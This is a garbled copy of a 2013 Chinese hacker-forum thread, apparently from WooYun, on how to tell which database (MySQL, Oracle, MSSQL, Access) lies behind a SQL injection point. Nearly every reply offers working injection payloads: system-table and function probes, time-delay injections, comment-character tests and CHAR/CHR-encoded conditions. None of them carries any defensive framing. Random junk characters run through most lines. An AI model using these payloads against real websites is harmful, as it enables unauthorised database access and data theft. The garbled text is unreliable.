一个注射点如何最快速确认是什么类型数据库
, {6 c2 _' K# x6 t$ y# Bxsser (十根阳具有长短!!) | 2013-02-05 12:36 F# k: i* ~5 z; t! A: A6 k
假设这么一个注射点:
" ?" i b% E8 {8 @5 \show.html?id=2% H7 ?0 i. O% X+ F: x. r
mysql:id=2 and version()>0/ R. f' k2 q# T) F
oracle:id=2 and '1'||'1'='112 u* d' C, B8 j% W
其他的欢迎补充7 N7 n/ z7 G4 Z( ?
1#
. b5 k5 J- Z8 p( a, a! qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:474 |, H3 v2 R# I- u
Access:! B* \% ~: L8 D0 j8 Z5 h: Z
aNd aSc(cHr(97))=971 W# Z: ?- Q# y; j9 z
and exists(select id from MSysAccessObjects), x5 N/ U' v4 y& Z% K0 Y3 I3 I+ F
SQL Server:% T7 l; e" ?' `8 a
and exists(select id from sysobjects)
! U! l8 Z% S, q3 U. K ^9 Y9 Sand length(user)>00 H. I+ I$ M) K1 k3 I/ I
MySQL:. ?3 O/ E5 t0 |0 d6 w. j" S* u
and length(user())>0/ Z3 E; P+ _5 B; ~# h5 j; B% g
2#
7 Y& }4 ]3 u$ @1 {# uxsser (十根阳具有长短!!) | 2013-02-05 12:48 P( c+ t+ R" b& e! w
@upload 如果这些都不是呢…; v0 k, |- U# u7 V9 M) g
3#' y/ ?! G( c8 H# Z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:038 l+ c" _5 I; U2 F+ V1 z
@xsser 不快速的,延时注入3 }, O9 J: u& ~. \
不知道这样写对不对
7 u1 Y6 ^! k a+ o+ Jmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
& C# q0 I( s- _( {mysql:id=2 and select benchmark(1e8,current_date());
2 N& v& y7 k& @. X9 ? _% o3 e0 u) n4# Q7 N3 r! f) v0 _+ _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10+ u& b; r' z% Y7 z
最快的貌似是看报错信息* U) z* s, u: x/ I& Y* k# l! O% g
oracle error( }* U$ j) Q9 u( f" [
mssql error! o; C; M# `" H( ^/ [- R
mysql error: c6 N( M8 C1 f0 l' Z9 h
5#& v- b$ q, H. a J
Nimda (你们都是坏银~) | 2013-02-05 13:14
. ?8 s' b. X; u& Y* [# I2 ]小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
4 L) R2 S' E* T" g% i6#/ X% i6 Z( Y6 Q0 {* Z) }
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
, x* p. P! e, n6 @# s“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:# ` f: X7 E' ] y6 k) C
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符: b" O) D9 Q& E+ D: e
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。. J, J) ?- b! N
7#. q+ e4 Y! ]+ m+ R) W( [
_Evil (HackEnd) | 2013-02-05 13:332 h$ x% {/ E# C% ?8 e2 {! |
PostgreSQL% S; g' |' @: ~3 z m) `
8#
+ t; a( e5 h# M, c A5 b" i+ Qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:429 b g A1 m$ @+ X ]$ Q
切换编码 and 1=1/ n* s6 y9 v; j2 ] B
oracle:: I1 J& G* y* X& c1 {6 B
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)! v1 b4 ? A% d: d$ F) [
mssql: W7 h' |, _5 h3 P
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)7 w T% V- z% }# G% i; `" d
mysql:
( }& c" @2 y; Q, k2 h0 bCHAR(97, 110, 100, 32, 49, 61, 49)
" N3 n. H& w: V9#
4 E5 f; f3 n: Nxsser (十根阳具有长短!!) | 2013-02-05 14:31# h* m+ ]* x- J. n. A
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
) E9 g+ T* U' ^% ~10#
. D) U0 m3 y# B( | ?upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
7 q, f1 p0 @ t3 F! n8 s& i@xsser 是奇葩数据库类型的么?3 D# q% _0 D; \! v1 S$ n. z1 d, C
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:$ ^5 b( P% p3 }8 K) Y5 N8 c
1.是否可以使用特定的函数来判断,该数据库特有的0 P; J7 ~- U7 z0 `) K
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
2 ?9 y. g2 W) P, Q0 N% [. h. X: t3.是否可以编码查询& Q3 u* R$ @! U8 C
4.是否显可以利用错信息
/ e) ~$ d1 H( M# ?5.是否存在数据库某些特性辅助判断# O/ f) q* F, H' O" g$ R% d& e
个人见解
$ y% y& F: l% k6 f9 `4 `11#
F! h; O$ ?) p& x% a小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55, i2 v2 I, o$ R- a, k0 D. ]. t, |
已收藏,mssql可以直接看到错误提示的吧~
h1 D. A2 ], e( A5 C a t6 g12#" N9 j0 m3 k: ]3 Y- r3 x; J. v
Passer_by | 2013-02-05 15:09
% [3 m& b% [( w% a! V2 n% \4 X曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
, `1 E; x( G I" r5 J2 Y. w: ^from:http://zone.wooyun.org/content/260 |